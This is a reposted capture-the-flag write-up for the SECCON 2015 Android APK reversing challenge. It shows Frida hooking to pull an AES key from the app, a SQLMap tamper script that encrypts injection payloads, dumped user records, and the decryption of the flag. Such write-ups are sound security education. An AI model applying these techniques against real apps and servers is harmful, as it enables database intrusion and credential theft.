Android CTF SECCON 2015 – Reverse engineering Android APK 2 – 400

转载

Riv3r 于 2015-12-14 11:53:56 发布 1223 收藏

分类专栏： ctf思路 文章标签： ctf

SECCON 2015 – Reverse engineering Android APK 2 – 400 writeup

This is a writeup for the SECCON 2015 CTF challenge “Reverse-Engineering Android APK 2” for 400 points. The hint was: “The key is stored in the application, but you will need to hack the server.“

First, I installed the APK to get a feel of what it did, there were only two functions implemented: registering and logging in. The application name is “kr.repo.h2spice.yekehtmai”.

Login screen of the APK
While using the app, I noticed that a JSON error was shown in a toast message when I injected a quote character in the “email” field. This indicated that the server was likely vulnerable for SQL injection. However, as far as I could immediately tell, the injection was blind. Too much trouble to do this by typing on the Android app.

I logged the traffic by setting a proxy. The app communicates over plain HTTP. However, the POST data parameters were encrypted in some way:

The next step was to decompile the APK file. I used dex2jar for this and then loaded the JAR file in JD-GUI to see the decompiled classes. Looking over the code, the classes seem obfuscated.

I then came across the class file “kr.repo.h2spice.yekehtmai.c” where an AES cipher is instantiated in ECB mode. This class is called during the login/register process. The method “a” accepts two arguments – probably the plaintext version of the POST parameters, and the AES key.

The AES key is not statically stored in the application but is obfuscated using a ton of other “encoding/encryption” routines. I was thinking of my options at this point: either I could attach a debugger, inject some smali code, or I could use dynamic instrumentation. Attaching a debugger would be too much trouble: it would involve decompiling the APK to smali with APKtool, then repackaging the APK with debug information, and running the app via an IDE in debug mode. Injecting smali code would also require me to repackage the APK. Luckily, Frida exists for dynamic instrumentation. Using Frida you can hook code using JavaScript on many platforms, including Android.

I used the following code to hook the “kr.repo.h2spice.yekehtmai.c.a” method:

test.jsJavaScript

```
Dalvik.perform(function () {
    var c = Dalvik.use("kr.repo.h2spice.yekehtmai.c")
    c.a.implementation = function (str1, str2) {
        console.log("String1: " + str1)
        console.log("String2: " + str2)
    }
});
```

Start the frida server on the Android device, then run frida -U kr.repo.h2spice.yekehtmai and load the JavaScript hook:

Now when performing a login, we can see the parameters used to invoke the encryption routines being logged to the console. I tried logging in with the username and password “test”. We have now successfully acquired the AES key “3246847986364861” used to encrypt the POST parameters.

At this point we can easily encrypt our own POST parameters and exploit the SQL injection. Since the injection is blind, I resorted to SQLMap. One of SQLMap’s features is to use a tamper script, allowing you to modify the parameters with a Python script before they are sent to the server.

Here it is:

Python

```
#!/usr/bin/env python

from lib.core.data import kb
from lib.core.enums import PRIORITY

import base64
from Crypto.Cipher import AES

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)

class AESCipher:
    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        cipher = AES.new( self.key, AES.MODE_ECB)
        return base64.b64encode( cipher.encrypt( raw ) )

__priority__ = PRIORITY.NORMAL

def dependencies():
      pass

def tamper(payload, **kwargs):
      retVal = payload

      if payload:
            retVal = AESCipher("3246847986364861").encrypt(payload)

      return retVal
```

We can now use SQLMap to perform the injection for us. This looks something like sqlmap.py -u “hxxp://apkhost/login.php” –data=”email=xxx&password=xxx” –tamper=seccon –sql-shell SQLMap identified a time-based blind: this was going to be slow – I assume there was a non-time-based option too, but this would do the trick just fine.

I let SQLMap dump the current database name, confirmed that a “users” table existed, and enumerated the columns in that table. I then proceeded to look for the first entry in the “users” table, which would probably be an admin-type user, and found the user “iamthekey”:

```
> SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name="users" and table_s
[*] id,unique_id,name,email,encrypted_password,salt,created_at,updated_at

> SELECT name FROM users WHERE length(name)>1 ORDER BY id ASC LIMIT 1
[*] iamthekey

> SELECT id,unique_id,email,encrypted_password,salt FROM users where name="iamthekey" LIMIT 1
[*] 4, a159c1f7097ba80403d29e7, iamthekey@2015.seccon.jp, MQL7ZF5Ec5uehudP0L0t//zZwykyNGYxMjgyNDAz, 24f
```

Now, even using this information I didn’t really know what to do next. Reflecting back on the hint “The key is stored in the application“, I went back into the decompiled APK code. I then noticed the “WelcomeActivity” class.

Based on a substring of the currently used “uid”, the application will try to decrypt the string “fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4=“. Sure enough, we would need to use the “iamthekey” user’s “unique_id” for this.

All that’s left is figuring out which substring of the “uid” it is that we need. Since the “uid” is only 23 characters in length, and we would need 16 characters total for the AES key (the blocksize is 16), we can do it by hand.

Python

```
from Crypto.Cipher import AES
import base64

uid = "a159c1f7097ba80403d29e7"
raw = base64.b64decode("fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4=")
for i in range(7):
    print AES.new(uid[i:i+16], AES.MODE_ECB).decrypt(raw)
```

Then running the Python script yields:

```
$ python decrypt.py | strings

SECCON{6FgshufUTpRm}
```

And there’s our flag !